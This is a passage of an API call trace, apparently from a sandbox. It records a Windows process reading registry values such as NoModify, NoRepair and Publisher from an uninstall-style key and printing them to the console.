lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.120] GetConsoleOutputCP () returned 0x1b5 [0148.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0148.120] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.121] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.121] __iob_func () returned 0x7fefd702a80 [0148.121] _fileno (_File=0x7fefd702ab0) returned 1 [0148.121] _errno () returned 0xc4bb0 [0148.121] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.121] _errno () returned 0xc4bb0 [0148.121] GetFileType (hFile=0x50) returned 0x1 [0148.121] lstrlenW (lpString=" ") returned 4 [0148.121] GetConsoleOutputCP () returned 0x1b5 [0148.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.121] GetConsoleOutputCP () returned 0x1b5 [0148.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.121] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.121] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.121] __iob_func () returned 0x7fefd702a80 [0148.121] _fileno (_File=0x7fefd702ab0) returned 1 [0148.121] _errno () returned 0xc4bb0 [0148.121] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.121] _errno () returned 0xc4bb0 [0148.121] GetFileType (hFile=0x50) returned 0x1 [0148.121] lstrlenW (lpString="REG_DWORD") returned 9 [0148.121] GetConsoleOutputCP () returned 0x1b5 [0148.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.122] GetConsoleOutputCP () returned 0x1b5 [0148.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.122] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.122] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.122] __iob_func () returned 0x7fefd702a80 [0148.122] _fileno (_File=0x7fefd702ab0) returned 1 [0148.122] _errno () returned 0xc4bb0 [0148.122] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.122] _errno () returned 0xc4bb0 [0148.122] GetFileType (hFile=0x50) returned 0x1 [0148.122] lstrlenW (lpString=" ") returned 4 [0148.122] GetConsoleOutputCP () returned 0x1b5 [0148.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.122] GetConsoleOutputCP () returned 0x1b5 [0148.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.122] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.122] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.122] __iob_func () returned 0x7fefd702a80 [0148.122] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.122] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.123] _fileno (_File=0x7fefd702ab0) returned 1 [0148.123] _errno () returned 0xc4bb0 [0148.123] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.123] _errno () returned 0xc4bb0 [0148.123] GetFileType (hFile=0x50) returned 0x1 [0148.123] lstrlenW (lpString="0x1") returned 3 [0148.123] GetConsoleOutputCP () returned 0x1b5 [0148.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.123] GetConsoleOutputCP () returned 0x1b5 [0148.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.123] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.123] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.123] __iob_func () returned 0x7fefd702a80 [0148.123] _fileno (_File=0x7fefd702ab0) returned 1 [0148.123] _errno () returned 0xc4bb0 [0148.123] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.123] _errno () returned 0xc4bb0 [0148.123] GetFileType (hFile=0x50) returned 0x1 [0148.123] lstrlenW (lpString="\n") returned 1 [0148.123] GetConsoleOutputCP () returned 0x1b5 [0148.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.123] GetConsoleOutputCP () returned 0x1b5 [0148.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.124] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.124] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.124] GetProcessHeap () returned 0x2e0000 [0148.124] GetProcessHeap () returned 0x2e0000 [0148.124] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.124] GetProcessHeap () returned 0x2e0000 [0148.124] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.124] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.124] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.124] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.124] GetProcessHeap () returned 0x2e0000 [0148.124] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.124] GetProcessHeap () returned 0x2e0000 [0148.124] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.124] GetProcessHeap () returned 0x2e0000 [0148.124] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.124] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.124] __iob_func () returned 0x7fefd702a80 [0148.124] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.124] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.124] _fileno (_File=0x7fefd702ab0) returned 1 [0148.124] _errno () returned 0xc4bb0 [0148.124] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.124] _errno () returned 0xc4bb0 [0148.124] GetFileType (hFile=0x50) returned 0x1 [0148.124] lstrlenW (lpString=" ") returned 4 [0148.124] GetConsoleOutputCP () returned 0x1b5 [0148.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.125] GetConsoleOutputCP () returned 0x1b5 [0148.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.125] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.125] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.125] lstrlenW (lpString="NoRepair") returned 8 [0148.125] __iob_func () returned 0x7fefd702a80 [0148.125] _fileno (_File=0x7fefd702ab0) returned 1 [0148.125] _errno () returned 0xc4bb0 [0148.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.125] _errno () returned 0xc4bb0 [0148.125] GetFileType (hFile=0x50) returned 0x1 [0148.125] lstrlenW (lpString="NoRepair") returned 8 [0148.125] GetConsoleOutputCP () returned 0x1b5 [0148.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.125] GetConsoleOutputCP () returned 0x1b5 [0148.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0148.125] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.125] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.125] __iob_func () returned 0x7fefd702a80 [0148.125] _fileno (_File=0x7fefd702ab0) returned 1 [0148.125] _errno () returned 0xc4bb0 [0148.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.125] _errno () returned 0xc4bb0 [0148.126] GetFileType (hFile=0x50) returned 0x1 [0148.126] lstrlenW (lpString=" ") returned 4 [0148.126] GetConsoleOutputCP () returned 0x1b5 [0148.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.126] GetConsoleOutputCP () returned 0x1b5 [0148.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.126] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.126] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.126] __iob_func () returned 0x7fefd702a80 [0148.126] _fileno (_File=0x7fefd702ab0) returned 1 [0148.126] _errno () returned 0xc4bb0 [0148.126] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.126] _errno () returned 0xc4bb0 [0148.126] GetFileType (hFile=0x50) returned 0x1 [0148.126] lstrlenW (lpString="REG_DWORD") returned 9 [0148.126] GetConsoleOutputCP () returned 0x1b5 [0148.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.126] GetConsoleOutputCP () returned 0x1b5 [0148.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.126] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.127] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.127] __iob_func () returned 0x7fefd702a80 [0148.127] _fileno (_File=0x7fefd702ab0) returned 1 [0148.127] _errno () returned 0xc4bb0 [0148.127] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.127] _errno () returned 0xc4bb0 [0148.127] GetFileType (hFile=0x50) returned 0x1 [0148.127] lstrlenW (lpString=" ") returned 4 [0148.127] GetConsoleOutputCP () returned 0x1b5 [0148.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.127] GetConsoleOutputCP () returned 0x1b5 [0148.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.127] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.127] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.127] __iob_func () returned 0x7fefd702a80 [0148.127] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.127] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.127] _fileno (_File=0x7fefd702ab0) returned 1 [0148.127] _errno () returned 0xc4bb0 [0148.127] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.127] _errno () returned 0xc4bb0 [0148.127] GetFileType (hFile=0x50) returned 0x1 [0148.127] lstrlenW (lpString="0x1") returned 3 [0148.127] GetConsoleOutputCP () returned 0x1b5 [0148.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.128] GetConsoleOutputCP () returned 0x1b5 [0148.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.128] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.128] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.128] __iob_func () returned 0x7fefd702a80 [0148.128] _fileno (_File=0x7fefd702ab0) returned 1 [0148.128] _errno () returned 0xc4bb0 [0148.128] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.128] _errno () returned 0xc4bb0 [0148.128] GetFileType (hFile=0x50) returned 0x1 [0148.128] lstrlenW (lpString="\n") returned 1 [0148.128] GetConsoleOutputCP () returned 0x1b5 [0148.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.128] GetConsoleOutputCP () returned 0x1b5 [0148.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.128] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.128] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.128] GetProcessHeap () returned 0x2e0000 [0148.128] GetProcessHeap () returned 0x2e0000 [0148.128] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.128] GetProcessHeap () returned 0x2e0000 [0148.128] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.129] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.129] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.129] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0148.129] GetProcessHeap () returned 0x2e0000 [0148.129] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0148.129] GetProcessHeap () returned 0x2e0000 [0148.129] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.129] GetProcessHeap () returned 0x2e0000 [0148.129] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.129] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0148.129] __iob_func () returned 0x7fefd702a80 [0148.129] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.129] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.129] _fileno (_File=0x7fefd702ab0) returned 1 [0148.129] _errno () returned 0xc4bb0 [0148.129] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.129] _errno () returned 0xc4bb0 [0148.129] GetFileType (hFile=0x50) returned 0x1 [0148.129] lstrlenW (lpString=" ") returned 4 [0148.129] GetConsoleOutputCP () returned 0x1b5 [0148.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.129] GetConsoleOutputCP () returned 0x1b5 [0148.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.130] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.130] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.130] lstrlenW (lpString="Publisher") returned 9 [0148.130] __iob_func () returned 0x7fefd702a80 [0148.130] _fileno (_File=0x7fefd702ab0) returned 1 [0148.130] _errno () returned 0xc4bb0 [0148.130] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.130] _errno () returned 0xc4bb0 [0148.130] GetFileType (hFile=0x50) returned 0x1 [0148.130] lstrlenW (lpString="Publisher") returned 9 [0148.130] GetConsoleOutputCP () returned 0x1b5 [0148.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.130] GetConsoleOutputCP () returned 0x1b5 [0148.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0148.130] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.130] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.130] __iob_func () returned 0x7fefd702a80 [0148.130] _fileno (_File=0x7fefd702ab0) returned 1 [0148.130] _errno () returned 0xc4bb0 [0148.130] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.130] _errno () returned 0xc4bb0 [0148.130] GetFileType (hFile=0x50) returned 0x1 [0148.130] lstrlenW (lpString=" ") returned 4 [0148.130] GetConsoleOutputCP () returned 0x1b5 [0148.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.131] GetConsoleOutputCP () returned 0x1b5 [0148.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.131] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.131] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.131] __iob_func () returned 0x7fefd702a80 [0148.131] _fileno (_File=0x7fefd702ab0) returned 1 [0148.131] _errno () returned 0xc4bb0 [0148.131] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.131] _errno () returned 0xc4bb0 [0148.131] GetFileType (hFile=0x50) returned 0x1 [0148.131] lstrlenW (lpString="REG_SZ") returned 6 [0148.131] GetConsoleOutputCP () returned 0x1b5 [0148.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.131] GetConsoleOutputCP () returned 0x1b5 [0148.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.131] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.131] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.131] __iob_func () returned 0x7fefd702a80 [0148.131] _fileno (_File=0x7fefd702ab0) returned 1 [0148.132] _errno () returned 0xc4bb0 [0148.132] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.132] _errno () returned 0xc4bb0 [0148.132] GetFileType (hFile=0x50) returned 0x1 [0148.132] lstrlenW (lpString=" ") returned 4 [0148.132] GetConsoleOutputCP () returned 0x1b5 [0148.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.132] GetConsoleOutputCP () returned 0x1b5 [0148.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.132] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.132] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.132] __iob_func () returned 0x7fefd702a80 [0148.132] _fileno (_File=0x7fefd702ab0) returned 1 [0148.132] _errno () returned 0xc4bb0 [0148.132] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.132] _errno () returned 0xc4bb0 [0148.132] GetFileType (hFile=0x50) returned 0x1 [0148.132] lstrlenW (lpString="Microsoft Corporation") returned 21 [0148.132] GetConsoleOutputCP () returned 0x1b5 [0148.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0148.132] GetConsoleOutputCP () returned 0x1b5 [0148.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0148.133] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0148.133] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.133] __iob_func () returned 0x7fefd702a80 [0148.133] _fileno (_File=0x7fefd702ab0) returned 1 [0148.133] _errno () returned 0xc4bb0 [0148.133] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.133] _errno () returned 0xc4bb0 [0148.133] GetFileType (hFile=0x50) returned 0x1 [0148.133] lstrlenW (lpString="\n") returned 1 [0148.133] GetConsoleOutputCP () returned 0x1b5 [0148.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.133] GetConsoleOutputCP () returned 0x1b5 [0148.133] WideCharToMultiByte (in: 